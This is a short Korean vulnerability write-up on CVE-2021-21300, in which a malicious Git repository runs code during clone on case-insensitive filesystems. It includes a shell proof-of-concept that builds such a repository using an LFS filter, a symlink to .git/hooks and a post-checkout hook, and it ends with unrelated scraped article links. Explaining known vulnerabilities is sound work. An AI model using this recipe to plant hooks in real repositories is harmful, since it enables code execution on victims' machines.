[하루한줄] CVE-2021-21300: Git의 저장소 clone 원격 코드 실행 취약점

link管理

链接快照平台

输入网页链接，自动生成快照
标签化管理网页链接

URL

git: malicious repositories can execute remote code while cloning

Target

Git(2.14.2.windows.1에서 테스트됨)

Explain

오픈소스 버전 관리 시스템인 Git에서 원격 저장소를 clone 하는 도중 원격 코드 실행이 가능한 취약점이 발견되어 관련 세부 정보가 공개되었습니다.

취약점의 트리거 조건은 다음과 같습니다.

타깃 시스템이 NTFS와 같이 대소문자를 구분하지 않고, 심볼릭 링크를 지원해야 합니다.(Windows 및 macOS의 기본 파일 시스템)

Git LFS와 같이 clean 혹은 smudge 필터가 전역적으로 구성되어있어야 합니다.

악성 저장소를 생성하는 PoC는 다음과 같습니다.

#!/bin/sh
  git init delayed-checkout &&
  	cd delayed-checkout &&
  	echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \\
  		>.gitattributes &&
  	mkdir A &&
  	printf '#!/bin/sh\\n\\necho PWNED >&2\\n' >A/post-checkout &&
  	chmod +x A/post-checkout &&
  	git add -A &&
  	rm -rf A &&
  	ln -s .git/hooks a &&
  	git add a &&
  	git commit -m initial
임의 코드를 실행하는 악성 파일인 A/post-checkout이 저장소에 추가된 후 제거되면 Git 캐시에 남습니다. 이후 ./git/hooks의 심볼릭 링크 a를 생성합니다.
git hooks - 특정 이벤트에 실행되는 스크립트
타깃이 대소문자를 구분하지 않는 파일 시스템이라면 해당 저장소를 clone 할 때 a와 A를 구분하지 못해 ./git/hooks/post-checkout 파일이 Git 캐시에 저장된 악성파일인 A/post-checkout로 대체됩니다.
git hooks에 의해 post-checkout가 실행되고 post-checkout에 작성된 임의 코드가 실행됩니다.
Reference
POC - https://github.com/Maskhe/CVE-2021-21300

推荐文章

爱跑步的电池 · 雪中悍刀行h改编红薯：刀客与红薯的奇妙联结_宅男网

4 月前

刚毅的斑马 · 【渣打银行(北京东直门支行)】地址详情,位置示意图,地图位置,交通指引,周边酒店-北京金融服务-北京地图

5 月前

憨厚的可乐 · python里and和是哪个 • Worktile社区

7 月前

干练的水煮肉 · 王者荣耀：能解除张良大招你只知道大桥？最后一名能无视张良大招_控制

7 月前

寂寞的牛肉面 · JS中用execCommand(“SaveAs“)保存页面兼容性问题解决方案_chrome document.execcommand('saveas')-CSDN博客

8 月前